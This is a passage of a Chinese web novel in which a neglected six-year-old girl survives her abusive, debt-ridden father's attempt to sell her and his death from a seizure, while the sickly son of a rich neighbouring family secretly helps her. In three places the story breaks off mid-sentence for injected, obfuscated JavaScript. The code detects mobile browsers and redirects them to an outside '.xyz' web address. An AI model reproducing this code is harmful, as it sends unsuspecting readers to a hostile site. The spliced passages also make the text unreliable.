他只会采取更加迂回的方式，读书更加用功，书院的考试更加一骑绝尘，对父母的安排条条接受，不反驳，不抵抗，连续两个月，他再也没有靠近过那堵墙，也没有再提到过叶家小女，他和从前一样，读书，吃饭，不会逾矩。 对此，宋氏很满意，她还是人人艳羡的贵妇人，她的儿子依旧品行端正，两个月前与贫家子结交，爬墙上树，那只是孩子叛逆了，想歪了，他终会回归正道的。 两个月后，禁令解除，不再有人看着江泠。 当夜，宋氏检查完他的功课，江泠认真回答，分毫不错。 两个月，少年又长高许多，如今甚至比她高出几分，等过完年，江泠便十三岁，是个半大的少年，将要束起发。 他衣着整肃，仪态雅正，宋氏看着很满意，“好了，你继续看书吧，夜里若是饿了，就让下人去厨房重新做一份，不要吃凉的。” “知道了，娘。” 江泠点头。 宋氏起身，与婆子离去。 他目送母亲走出院落，回身，与一旁沉默寡言的下人说：“我有些饿，你将晚膳没吃完的松糕拿过来，不用再费事做新的。” “是，郎君。” 下人依言出门，江泠坐在窗前看书，等他端着点心回来，他接过，说：“我这边没什么事情了，我要看书，你可以下去休息了。” 下人颔首行礼，点上熏香，转身将门窗关紧。 又一炷香，江泠从窗前站起身，将桌上的点心用宣纸打包好，揣在怀里。 这两个月，他事事顺着父母，他们认为他已经悔改，不再像一开始那样拘着他，听说，这么久都再也没有人爬过墙，旧院的巡查也松懈许多。 他垂下眸子，叶秋水没有来过，爹娘一定去她家找过麻烦了。 江泠想，这两个月，她爹有没有打过她，屋顶还漏雨吗。 他不在，她有没有吃饱饭？ 14. 挣扎 暮秋过去，年末并不意味着丰收，冬季于富人而言，风雪皆雅，但对温饱边缘垂死挣扎的穷人来说，则无疑于是一场浩劫。 年关将近的快乐并没有冲散这种困顿与寂寥。 叶秋水站在门前，艳羡地看着巷子里的其他孩子围成一圈放鞭炮。 入了冬，她还是那两件衣服，她没有棉衣，只能多穿几件，至少可以抵御一部分寒冷。 这两个月，叶大看她看得很紧，一开始不允许她离开屋子，后来他饿了累了要人伺候，叶秋水才被放出来。 他混吃等死多年，拘着叶秋水才几日，便又想故技重施，让她出去偷东西，但她已经受过教诲，知道偷盗不好，绝不会再行偷窃之事，叶大怎么打她也没用。 月初，叶秋水去县衙又领回一斗米，这将是父女俩一整个冬天的存粮。 叶大在外面欠了太多债，酒馆花楼都不准他进去，他在外面受够了气，回来就会发疯，整日宿醉。 最开始，叶秋水还爬过一次墙，但是刚探出头，江家的下人便举起棍子，厉声呵斥她离开。 叶秋水害怕，深夜又爬过一次，还是有人守着，江泠不在。 他爹娘知道了，不准他再和她做朋友，他们都嫌弃她。 叶秋水意识到这件事，后来一次都没有爬过墙，这堵被加高一倍的垣墙，完完全全将贫富隔开，谁也不能越界。 领完米，叶秋水踩着椅子，淘米做饭。 叶大饭量大，很少给她东西吃，叶秋水每日都吃不饱。 听到门前响起叮叮当当的声音，叶秋水就明白是他回来了，那些细响，是酒坛被踢到角落的声音。 接着，叶大的声音响起，“我没有钱，你们把院子砸了就砸了，反正我没有钱。” 他是个泼皮无赖，声音嚣张。 叶秋水顿了一下，扭头往外看去。 一群打手装扮的人涌了进来，叶大摊着手，“砸，让你们砸。” 叶家一穷二白，最有价值的可能就是那盏油灯，床铺拆了也只能当柴火烧罢了。 打手们逛了一圈，脸色沉沉。 叶大哼了一声，他笃定他们不能将他怎么样，反正他一分钱没有。 “你没有钱，那你就拿命抵。” 一人阴恻开口，“叶大，我们给了你半年的期限，你交不出来，那就先赔一只手。” 叶大一开始不在意，哪知他们真的提着刀走上前，两人拉住他，一人提起刀，看他们的模样不像作假，叶大这才怕了，脸色一白，“等、等等……” “抓住他，别让他跑了！” “先砍右手还是左手？左手吧，留一只给他干活，早日将钱还上。” 几人按住他，拔出刀，叶大吓怕了，拼命挣扎，脸色苍白如纸，方才狂妄的神情也尽数化为惊慌，“不不不、我错了，我错了爷，你们再给我一个月，一个月，我一定能还上。” 打手冷笑，“晚了。” 说罢抬起手，举起刀就要落下。 “等、等一下！我、我有一个女儿！”叶大像是抓住了救命稻草，他一把抓住其中一人的手，兴奋地说：“我还有个女儿，可以卖钱。” 几人面面相觑，他们是听说过叶大有一个女儿，但是年纪还很小。 “你女儿不是才六岁？” “六岁好啊，没事的。”叶大立刻道：“再养几年就是大姑娘了。” 打手们互相对视，有一人道：“人在哪里？” “我带你们去！” 叶大察觉出他们的犹豫，怕他们反悔，连忙爬起来，殷勤地带路，“就在后面。” 叶秋水正在烧柴火，完全不知道自己已经变成筹码。 一群人浩浩荡荡地冲过来，叶大推开门扉，弓着腰，“她在这里，在这儿呢。” 叶秋水抬起头，不明所以地看着这群突然出现的人。 不待他们回应，叶大又冲上去，将叶秋水拽起来，提到那群人面前，“大哥，您看看，她能抵多少？” 为首的打手捏住叶秋水的下颌，迫使她抬起头，眯眼打量。 “太瘦了，像豆芽菜。” 他点评道：“一身骨头，二两肉都没有，卖什么？” “卖去大户人家，做个丫鬟也是够的。”叶大舔着笑脸，卖力地说：“她干活勤快，卖去做丫鬟也是可以的。” 几个打手又看了看，终于看出了一点，“眼睛倒是好看，若是养胖些，应当也能值些钱。” 听他们松口，叶大激动地搓了搓手，“那就她？” “嗯，带走吧。” 打手嗤笑，神情不屑，为了钱卖女儿卖老婆的人他们见的多了，卖老娘的都有，不是稀奇事，叶大也不是第一个这么做的。 叶大伸手，推了叶秋水一把，这时，叶秋水终于从这群人的口中拼凑出一个事实，叶大要卖了她，拿她抵债。 她神色先是呆了呆，而后是惊慌，猛地挣扎起来，“我不要！” 叶大吼：“由不得你了！” 叶秋水一脚踢在想要抓她的打手腿上，在院子里四处躲藏，叶大生怕她惹怒讨债的人，反而又让他遭罪，他害怕被砍去双手，口中骂骂咧咧，想要抓住她。 那副丑恶的嘴脸，让叶秋水吓傻了，她的亲生爹爹，此刻因为她反抗被卖去抵债而暴怒，神色狰狞可怖。 叶秋水知道，一旦被卖掉，她和死了也没什么区别了。 躲了片刻，她大喊道：“我有钱，我有钱的！” 叶大愣住，打手们也愣住，“你有钱？” “是。”叶秋水哆嗦着回答，“我有钱，我替爹爹将钱还给你们，你们不要再来了。” 她转过身，走到灶台旁，角落里有一块松动的砖石，里面藏着叶秋水这半年来攒下的五两银子。 其中有几两，是她摔进江公宅，江家的大夫给她抓的药，叶秋水舍不得吃，拿去药铺典当得来。 “我有钱的。” 她捧着那些银子，哽咽着说，“我有的，别卖我。” 叶大惊讶过后，怒道：“死丫头，你又藏钱！” 说完，上手就要抢，却有人先他一步，打手拿走叶秋水手里的银子，掂了掂，“倒是分毫不差。” 他将银子收起，瞥了一眼叶大，不屑地说：“行了，既然债还上了，你也不用卖女儿了。” 叶大搓了搓衣摆，笑容讨好。 他们拿了钱，扬长而去。 叶秋水脚一软，跌坐在地，劫后余生，连叶大骂她打她都顾不上了。 她目光空洞，虚无缥缈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496464|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地落在地上。 夜里，叶大躺在榻上，脚边堆满酒坛。 叶秋水一手的新伤，捧着煮好的粥端给他。 叶大看着她，接过，将要喝下时又停下，他不知想起什么，目光移向一旁垂着头，木讷听话的女儿。 女孩下巴削尖，眼眸明亮圆润，像是西域进贡的葡萄，因为长期吃不饱饭，她面色有些蜡黄，神情也怯生生的，但若仔细看，还算是个小美人坯子，至少，长大了也是个小家碧玉的美人。 就是太瘦，瘦得让人第一眼看不出她好不好看，只觉得穷酸。 叶大打量完，沉思。 养胖些，应当比现在直接卖掉要值钱许多。 他将碗又推了回去，“你吃。” 叶秋水抬起眸，有些惶恐，叶大居然让她吃饭。 下一刻，“胖一些，应该能卖二三十两。” 她心沉了下去，端起碗，一点一点将粥喝干净。 叶大翻了个身，畅享着再过两个月，他该将叶秋水卖个怎样的价钱，他靠着墙，又开始喝酒，叶秋水默默退了出去。 夜半，叶秋水忽然被一阵惊呼吵醒。 她睁开眼，警惕地看向四周。 声音是从叶大那里传来的，他躺在榻上，四肢抽搐，眼白翻起，口吐白沫。 这是他的老毛病了，叶大穷，又爱酗酒，只能买些低廉的酒，他不知克制，后来渐渐因此患了痫疾，经常发作，家里常年备着药丸，虽不能根治，但好歹可以缓解痛苦。 叶大看到她进来，艰难地扯着嗓子，“去把药拿来。” 叶秋水立刻跑过去，翻开柜子，在一地酒坛里找叶大的药。 “快些、快……” 他呼吸困难，脸色发青，无法控制四肢。 叶秋水很着急，到处翻找，叶大不知道将药瓶丢在那里，她动作慢了，就要挨上他的骂，他就算是发病，也要攒起力气，踹她一脚。 “快啊……” 叶秋水白天被打，夜里又挨上一脚，爬起来的动作有些吃力，叶大使唤她不遗余力，自然……下手也不遗余力。 叶秋水终于找到药。 叶大抬手，“给我……给我，快。” 她打开瓶子，递过去，却在半途犹豫了。 叶大不会记得她的好，等他好了，他还是会将她卖给别人。 他给她吃饭，不是大发慈悲，只是觉得，太瘦的女孩，卖不了多少钱。 阿娘被他打死，叶秋水有时候也不知道，她到底是会像母亲一样，被他打死，还是被他卖了，亦或者哪一天，她会悄无声息地饿死。 见她突然不动，叶大怒道：“你、你愣着、愣着做什么……给我！” 叶秋水没有动，她平静地看着叶大。 手里紧紧捏着药瓶，瘦削的骨节因为用力而发青，发白。 她浑身都在抖。 叶大因为抽搐，半个身子跌出床榻，他一开始还在骂，后来则求饶，一边往前爬，一边忏悔，“芃芃……药，爹以后不打你了。” 叶秋水只是站在那儿。 叶大身体差，痫疾发作时，呼吸困难，渐渐的，他没有力气再说话了。 最后，一动不动的人成了他。 叶秋水仍是站在那儿。 15. 发烧 加筑后的墙很高，且能借助攀爬的桃树也被砍掉，江泠想要上去很困难，他只能将点心塞进衣襟内，在角落徒手一点一点地蹭上去。 时隔两个月没爬过墙，江泠生疏了许多，动作也没那么灵活，又蹭了一手伤，好几次爬到一半又滑下，他身体不好，力气不足，坐在地上歇了一会儿，攒够力气，再次尝试。 好不容易才坐到墙头，俯瞰叶家低矮的房屋，院子里黑漆漆的，叶家贫穷，很少点灯，他不确定叶大在不在，若是在，他要找叶秋水很麻烦，但里面静悄悄的，一点声音也没有，应当是不在的。 江泠不敢直接出声喊，害怕自己家里的下人会听到，他只能先顺着房屋与垣墙之间的空隙滑下，落在叶家院子中，摸黑找寻叶秋水在哪里。 屋檐下，叶秋水呆呆地坐着，手里拿着那个药瓶，她脸色苍白，肩膀不停地抖，一种无名的恐惧淹没了她。 她不知道叶大是不是死了，他就躺在那里，无声无息，叶秋水不敢喊他，害怕他会跳起来，方才，她对他的发病熟视无睹，等他好了，一定会加倍地报复教训她。 叶秋水觉得自己做了错事，她绞紧手指，牙齿发颤。 蓦地，院墙的角落响了一下，叶秋水肩膀跳了跳，整个人的神经绷到极点，她死死地盯住发出声响的地方，双目通红，咬紧牙关，抖得越来越厉害。 叶大再不好，但没有一个孩子能在此刻做到镇定自若。 渐渐，角落里走出一个黑影，叶秋水看着他，黑影不知何时来的，也不知有没有目睹方才发生的一切，随着黑影的靠近，叶秋水的呼吸越来越紧促，直到他从高墙的阴影下走出，月光抛落，叶秋水看清了是谁，眼睛瞪大。 江泠见到她，开口，“叶……” 他刚发出声音，坐在屋檐下的小人忽然站了起来，冲上前，一把抱住他。 江泠一个踉跄，往后退了几步。 叶秋水紧紧抱住他的腰，头埋在他怀里，“呜哇”一声，嚎啕大哭，“江宁！” 她哭得厉害，眼泪很快将江泠的衣袍打湿，江泠有些无措，双手僵在半空，抱也不是，推开也不是。 小丫头的哭声震彻黑夜，又委屈又害怕，江泠抬起手，扶住她的肩膀。 “怎么了？”他低下头，担忧地看着她，“受委屈了？谁欺负你了？” 叶秋水吸了吸鼻子，眼泪啪嗒啪嗒地往下掉，她垮着嘴角，眼睛哭肿了，鼓鼓的，对上江泠担忧的视线，张大嘴，委屈道：“江宁，我好饿，呜呜，我好饿啊……你怎么才来……” 江泠闻言有些慌，手忙脚乱地将带来的点心拿出来，“我带了的，你慢慢吃，不要急，会噎着。” 叶秋水接过，抓起一枚塞进嘴里，一边流眼泪一边吃点心，脸颊鼓起，像一个委屈巴巴的河豚。 江泠就站在一旁，低着头看她。 她瘦了许多，只是两个月不见，先前好不容易养出来的肉全都掉光了，甚至比从前还要瘦。 江泠脸色沉沉，他绷着嘴角，尽力让自己看着温和点，不太想这个时候吓到她。 “你爹呢？为什么一个人坐在这里。” 初冬的夜晚，寒风刺骨，江泠怕她是被赶出。 她这么哭嚎，叶大居然没有反应？还是说真不在家里？ 叶秋水吃东西的动作顿了一下，她手指蜷曲，低声说：“爹爹……在屋里，我叫他……没有反应。” 江泠怔了怔，意识到什么，转身往屋檐下走去，房中没有点灯，里面悄无声息，门扉半开，江泠站了片刻，抬手，推开门。 榻上瘫着一个模糊的人影，江泠摸索着将灯点上，扭头看去。 叶大肤色发青，紧闭双目，半个身子滑出床榻，倒在地上，嘴边还沾着白沫，身子又僵又凉。 见状，叶秋水瑟缩了一下，低下头，闭紧眼睛。 江泠犹豫着走上前，学着大人那样，抬手去探叶大的鼻息，但什么也没有。 再怎么少年老成，到底只是个半大的孩子，江泠没经历过什么事，探不到叶大的鼻息，他脸色一白，瞳仁颤了颤。 江泠低声道：“他死了。” 叶秋水眸光抖动，嘴一撇，又像是要哭出来。 江泠连忙安慰她，他音色冷，平日说话语调也平淡，此刻的语气听着居然有些软，笨拙地安慰，“没事，你别怕，我、我再看看。” 江泠大着胆子，又去推了推叶大，再探鼻息，他还是没有反应，无声无息地趴在那里。 这下是真真切切地死了。 叶秋水小脸皱成一团，垮着嘴角，无措地看向江泠。 他冷静片刻，问她：“家里还有其他长辈吗？” 叶秋水摇头。 江泠沉默，转身，拉着她离开屋子。 “在这里等我一会儿。” 江泠温声道，他让叶秋水坐在屋檐下，将油灯递给她，小姑娘白着脸，目光跟着他的动作移动，一眨不眨地看着他。 她的手很冷，一出门就打了个寒颤。 江泠将自己的外袍脱下来，内衬是兔绒，十分暖和。 少年个头比她高太多，叶秋水乖乖坐在台阶上，被他裹成一只大粽子，长长的袖子拖在地上。 江泠只穿着中衣，踩着柴火堆爬上墙，跳下，片刻后，他又返回，鼻尖、指节冻得发白。 “给。” 他抓起叶秋水的手，往她的掌心放了几两银子。 江家管得严，虽是富奢人家，但江泠并没有什么闲钱用，宋氏认为，如果孩子的开销用度不节制，他会变得骄奢淫逸，所以绝不会允许江泠手里有一分闲钱，以免他跟着那些人学坏。 像东门街许多大户人家的孩子，都爱逛酒馆花楼，点姑娘听曲儿，年纪轻轻，惹上一身纨绔脾性，宋氏是万万不允许这种事情发生在她的孩子身上的。 这五两银子，还是上次回江家主宅，族里的长辈疼爱小辈，偷偷塞给他的。 江泠的一切吃穿用度都由家里人负责，这些钱给他，他不知道怎么用，也没处去用，便一直放在柜子里。 “这些钱你拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496465|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用来料理你爹的后事。” 叶秋水捧着，捂在掌心，她吸了吸鼻子，小声道：“我没有钱还你，爹爹在外面欠了许多钱，今日他们找上门，我将之前攒的钱都给他们了，我没有剩的了，但我、我会攒的。” 她现在知道，旁人的东西不能随便拿，还要有借有还。 “我不用你还。” 江泠只穿着件中衣，在寒风中瑟瑟发抖，“你拿好，明日先去喊邻里来帮忙看看，我不能在这里待太久，下人看见我不在会找的，我得回去了，这些钱，安葬你爹应当也够的，不够的话我再想办法给你，你不要乱跑，就在家中。” 江泠顿了顿，说：“年关将近，城里人牙子很多。” 叶秋水点点头，“我知道的。” 他叮嘱了许多话，清晨，下人会洒扫各个院落，很容易就看见发现他，这次若是再被长辈知道他爬墙，大概他这辈子都别想再跨出家门一步了。 江泠不敢让她一个人和尸体待在一处，陪她在柴房坐了许久，天亮前才翻墙回到自己家。 刚躺下，下人便推开院门进来洒扫了。 他冻得浑身僵硬，在衾被中缓了许久都不见好。 “三郎，该起了，今日还要去书院。” 书童隔着屏风在外面轻唤，里面却没有声音。 三郎是从来不偷懒的，每日不等他们进来传唤，他自己已经穿戴好，坐在窗前背书。 今日不知怎的，丫鬟们在屋外催了几声，都不见他动。 书童觉得不对，推门进入，绕过屏风，看到江泠躺在榻上，脸颊通红，一摸，额头烧得滚烫。 “要命。”他嚇到，连忙跑出去，扯起嗓子喊道：“快去叫安大夫来，三郎怕是发热了！” 宋氏今日本来约了知州夫人同县令夫人一起去赏梅，听到下人说江泠病了，大惊失色，推了邀约，急忙往后院赶来。 “好好的，怎么就着风寒了？” 她坐在榻前，看着江泠烧得浑身滚烫，捏着帕子，抽抽搭搭地掉眼泪。 宋氏身边的刘妈妈说道：“兴许是昨夜三郎想开窗通风，忘了时辰。” 大夫为江泠诊完脉，开了方子，丫鬟围在旁边，将巾子打湿，贴在他的额头上。 安大夫说：“郎君受了寒，他体质虚，要将养许久，将这药煎给他喝，能退烧。” 刘妈妈接过方子，吩咐底下的小厮们去做。 她回头，问坐在榻前抹眼泪的宋氏，“二娘子，五日后是知州夫人生辰，可还要带三郎去赴宴？” 江泠病了，大夫说，要仔细养许久。 可是宋氏巴结知州夫人，要江泠与孙小郎君交好，不就是为了他日后的仕途，他不去岂不是废了这大好的机会，已是冬日了，年底就有推举，名额不多，宋氏不想得罪知州夫人，她今日已经推了赏梅宴。 “嗯，要去的。”宋氏揩净眼角，“你们这几日好好照顾泠哥儿，煎的药一定当心，早些退烧，之后知州夫人的生辰宴，他要与我同去的。” “是。” 16. 赴宴 叶秋水拿着江泠给的银子，请人将叶大安葬，他以前泼皮跋扈，与邻里大多不和，但他突然死了，众人又惊颤。 他的女儿年纪小，只有六岁，邻里收了钱，帮她将后事料理。 “你说叶大好端端的怎么突然死了，前天赌坊的人上门讨债，我还听到砸东西的声音。” “莫不是他还不上债，被赌坊的人给……” “也有可能。”邻里四下交谈，低声道：“谁叫他平日得罪了那么多人，如今死了，也算是少了个祸害，就是可怜芃芃，小小年纪，爹娘都没了。” “可不是呢，造孽。” 几人叹气，看着院里瘦瘦小小，戴着白巾头的女孩。 叶大安葬后，五两银子还剩一小半，叶秋水将它们存在罐子里，藏在灶台下。 她想去找江泠道谢，但自那之后，江泠许多日都没有出现，叶秋水很担心，爬上墙，听到有下人交谈，说三郎病了，烧了好几天。 叶秋水想摸去他现在住的地方看他，但江家的看管很严，宋氏这几日都守在他病榻前，知州夫人生辰在即，她希望江泠可以快点好起来，好随她一起去为知州夫人贺寿。 叶秋水不喜欢江泠的父母，她有时候也觉得奇怪，为什么江泠那么好的人，爹娘却有些讨厌，叶秋水知道，他们都嫌弃她，只有江泠不在意，还和她好。 二夫人很凶，叶秋水见识过，那是个养尊处优的贵妇人，她不敢落到宋氏手中，一直找不到机会去看江泠，也不知道他的病究竟怎么样了。 因为早产，宋氏与江二爷对江泠呵护至极，将他视为一只易碎的花瓶，这不许做，那也不许做，实际上，这样只会适得其反，身体反而变得越来越脆弱，风一吹就会病倒。 前几日在叶家，江泠将外袍脱下送给叶秋水，自己冻了一路，回去果然发起热，他一病就要躺许久，江二爷与宋氏很着急，怕这样会耽误学业，等他一醒，宋氏便让人将书捧过来，让他坐在榻上一边养病一边温习功课。 江泠脸色苍白，肩上披着外袍，低头翻书，咳得胸腔震动，眼泪都流出，他默默地用袖子擦了擦眼角，不敢让爹娘知道，不然他院里的仆人又要受罚。 他的天赋其实并非万里挑一，只是勤学苦练，闲暇的时间都在用来看书，因而学得比旁人好。 屋里终日点着暖炉，炭烧得旺，下人们进去待一会儿就能热出一身汗。 “三郎的药煎好了。” 丫鬟端着托盘，掀帘进来。 江泠放下书，伸手接过，药熬得很苦，他端起碗，面色不改地喝下。 “你这身体怎么一直养不好，若是像大郎还有五郎他们那样康健就好了。” 宋氏坐在一旁，看着他叹气。 当初她下嫁给江二爷，一开始夫妻俩琴瑟和鸣，还算恩爱，后来她怀有身孕，每日身子都不适，又因为从前在大家族娇贵惯了，怀着孩子时脾气也变得越发骄纵，对江二爷颐气指使，夫妻俩吵过几次，后来，江二爷就不爱来她院子里了。 也是那时，夫妻两人生出嫌隙。即将临盆前，宋氏发现，当初承诺宋家不会亏待她的江二爷，在外面偷偷养了外室，孩子都有了。 可笑的是，他现在在外人面前，竟是洁身自好，爱待发妻的形象。 宋氏气急，带着人去别庄闹，打杀了外室，将那孽种丢掉，回来的路上被附近的野猫扑吓，因此早产，生下江泠。 十二年了，她细心呵护，但江泠的身体依旧比同龄孩子差很多，性子也冷，在书院里没什么朋友，同他说过许多次，要多与官宦人家的小公子亲近，多交交朋友，他也不当回事，反而和穷人家的孩子交好，真是疯了。 不过儿子有用，前两天江二爷回来笑眯眯地说，县学的学究在酒席上提起，要举荐江泠入京。 想到这儿，宋氏的背脊又挺了起来。 孩子身体差又怎样，孤僻寡言又怎样，照旧甩他们十万八千里，只要读书好，这点就够了。 喝完药，江泠继续看书，屏风外响起下人们低低的交谈声。 “刚才给老爷送东西时从北墙边经过，似乎听到有丧音，谁家有白事？” “哦，大约是北坊的人吧，今早听说那个什么叶大喝酒喝死了，前些日子，他女儿不是还来咱们府上偷过东西？我曾瞧见张管事找他。” “竟然是叶大？那可是个祸害。” 江家有仆人也曾是北坊的贫民出身，听闻过叶大的名讳，压着声音鄙弃，“喝醉了就撒泼打人，媳妇又早死，也不怪他丫头偷东西，摊上这么个爹，不偷怎么活？” 有人问：“如今他死了，那姑娘怎么办？” “不知。” “没人管，要么流落街头，要么……也只能去那里了。” 没有爹娘管的孩子，大多会被人牙子贱卖到各个地方，若去大户人家为奴为婢还算好的，若是被卖去妓馆，那大概和死也没有什么区别。 一个女孩，无论美丑，总之都有可以卖掉的地方，至于她们的归宿如何，没有人在乎，就像是飘在水面上的落花，谁去在乎它们最后流向何处？ 大概，也只是在某个地方悄无声息地腐败罢了。 说话的声音隐隐传到屋中，宋氏神色微凝，“他们说谁死了？” 一丫鬟说道：“回二娘子，是墙那边叶家的男人，前夜喝酒喝死了。” “死了？” 宋氏惊讶，听丫鬟将前夜的事说了一遍，江泠也在旁边，听得一清二楚。 叶大喝酒时痫病发作，口吐白沫，秽物堵住喉咙，呼吸困难，小女儿发现跑到邻家喊人，等人来时，叶大早就凉透了。 宋氏听完，没有评价什么，反扭头看向江泠，“三郎，你可知道她们说的是谁？” 江泠从书上抬起头，神情茫然，“娘问什么？” 他看书认真，似乎并没有听到她们在交谈何事。 宋氏打量两眼，笑了，“无事，继续看书吧。” 想来江泠早已忘记几个月前和邻家小女的情谊了，这让她更加放心，她不希望自己的儿子和身份太低的人结交，更何况那还是个女孩，传出去的话会很难听。 很快，知州夫人的生辰到了，一大早江家就忙翻了天，江泠还在病中，刚退热就被夫妻二人拖起来去赴宴。 宋氏先为江二爷挑好赴宴的衣物，又赶到江泠屋中，指挥着下人为他穿戴。 “找个素雅的发冠来，那条竹纹镶玉的抹额也不错，靴子穿前些时日伯舅捎来的那双，是盛京正时兴的款式，那件兔绒内衬的云雁圆领呢？” 宋氏对江泠的衣物如数家珍，款款说道，丫鬟婆子们跟着有条有理地从柜子里找出她说的饰物。 “二娘子，没找着您说的圆领。” “怎会？”宋氏摇了摇团扇，“上个月刚叫人裁的布，新做的衣裳，估计是哪个新来的小丫鬟收乱了，再翻翻，就在柜子里。” 丫鬟翻遍柜子，回头焦急道：“二娘子，没有啊。” “怪了。” 宋氏将团扇递给身后的婆子，自己上前翻找，那件兔绒内衬的圆领袍就是不见了。 江泠站在一旁，开口，“娘，我前几日穿着这件衣服时将墨打翻，衣摆脏了，洗不净，我便脱下叫下人丢掉了。” 其实那日他在叶家，看见叶秋水衣衫单薄，冻得脸颊通红，手上也起了冻疮，便将衣服脱下给她御寒，但这件事绝不能被母亲知道。 “这样。”宋氏看了他一眼，并不在意，“脏了便脏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496466|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢，上个月给你做了好几件新衣，也不差这一件，小翠，你将那件竹叶纹缎面的圆领袍找出来，是墨绿的。” “是，二娘子。” 待她们收拾好，江二爷已经在前厅等得着急了，“磨磨蹭蹭，误了时辰。” 宋氏白了他一眼，三人登上马车，又检查了一遍备好的礼，长随甩起鞭子，一群人扬长而去。 知州夫人的生辰宴请了许多人，曲州的青年才俊，官员富商都来了，江二爷迎来送往多了，十分圆滑熟稔，很快就与其他官员谈笑风生。 宋氏领着江泠去拜访知州夫人。 女眷们在后院赏花说笑，一群年轻的少年围在一起比射箭，知州夫人准备了彩头，是一尊白玉雕刻的麒麟笔架，做工精巧，价格不菲。 少年们卯了劲地比试，江晖也在其中，一群人围着中间的孙仲言，他笑得痞邪，弯弓拉箭，十分熟练。 说是比试，但大家都在恭维孙仲言，毕竟他是知州夫人的儿子。 “嘉玉拜夫人安，愿夫人南山同寿，慈竹长青。” 宋氏领着江泠上前行礼，知州夫人端坐在花亭主座，看了看少年，江泠相貌清俊，仪态端正，知州夫人笑：“好孩子，芝兰玉树，沉稳雅正，可惜我没有小女儿，不然定要与你家说亲了，二郎，你真该同江小官人学学，若能次次考试第一，为娘就高枕无忧了。” 远处正在拉弓的孙仲言哼了一声，他学业不精，常气得知州夫妇二人头痛。 见儿子被夸，宋氏眉开眼笑，“哪里哪里，我倒想要一个像二郎那样的孩子，矫健又机灵，不像嘉玉，不爱说话，光会读书有什么用，书呆子一个！比不得二郎英姿飒爽，将来定然有出息。” 知州夫人被她哄得笑面盈盈。 她们互相恭维，身边的其他夫人们也跟着笑闹。 江泠坐在一旁，他病没有好，身上没什么力气，闻着桌前的菜只觉得难受，头昏脑胀的，于是百无聊赖地看着院中景致。 远处，孙仲言射中靶心，身旁的少年们欢呼雀跃。 他循声看去，目光平静。 江泠没有学过骑马，也没有学过拉弓射箭。 在江二爷与宋氏眼里，这些是不学无术的技艺，且他身体差，没法像正常孩子那般蹦蹦跳跳，一吹风就会病倒，是个病秧子。 他只能安静地坐在角落，看他们哄闹一团。 “三郎。”宋氏忽然推了他一把，小声说：“你也去，和他们一起玩，多和孙二郎还有县令家的小官人说说话。” 江泠淡淡道：“我不会射箭。” “不会可以在旁边看着，你一个人坐在这里算什么。”宋氏瞪了他一眼，“不是叮嘱过你，要多与孙仲言还有杨知县的儿子接触吗？你看五郎。” 她目光扫了一眼那群少年，江晖拉开弓，和孙仲言有说有笑，宋氏有些不满，觉得江晖占了自己儿子的风头，她不服气，暗暗懊悔，早知晓几年前也让江泠学一学射箭了。 “看看他，多殷勤，依我见，现在孙郎君同他的关系比同你要好多了，你可不能落后。” 江泠心想：当然要好多了，因为他和孙仲言根本不熟。 江泠没有动，宋氏更加不满，张嘴还想要说什么，这时知州夫人邀请女眷们一起去看花，宋氏急忙跟上去，走之前又不忘推了江泠一把，“快去！” 说完就立刻迎到知州夫人旁边了。 江泠一个人坐在亭中，低头看了眼先前知州夫人让下人端给他吃的点心。 有白玉霜方糕和琵琶酥等等，做得精致可爱。 江泠看了会儿，垂首将别在袖口内的手帕拿下，仔细挑了几种好吃的点心，用帕子包好。 等宴席散了，带回去给叶秋水吃。 17. 亲近 知州夫人的生辰宴办得热闹，很晚才散。 宋氏与孙夫人拉着手，在门前依依不舍，孙夫人还叮嘱宋氏，要多带着江泠来孙府拜访。 同样，江二爷与孙知州在席间也说了许多话，孙知州有意无意地提起府衙有一个职位空缺，他已准备上书举荐江二爷，听到这话，江二爷高兴地一连敬了几杯酒，出来时脸颊通红，喜不自胜。 江泠静静地听着大人们相互恭维，末了上前向知州夫妇二人行礼，这一天的忙活也总算到头了。 深夜，江泠拿着白天从孙府带回来的点心，爬上墙。 叶大已经安葬，院子里空旷许多，穷人的丧事很简陋，一张草席便可了事。 叶秋水席地而坐，撑着下巴，茫然地看着庭院。 叶大走后，家里只剩她一个，她忽然不知道自己以后该怎么办了，虽然他活着也没什么用，还只会抢她的钱，打她，甚至要卖掉她。 没了爹娘，她就是彻彻底底的孤儿。 连每月去县衙领一斗米的资格都没有了，因为前提是家中乃赤贫户，且有能做事的大人。 叶秋水年纪太小，出去做工没有人要，她也不会识字，不会算数，就算长大了，大概也只能做一些帮人端盘子与浆洗衣物的活来维持生计。 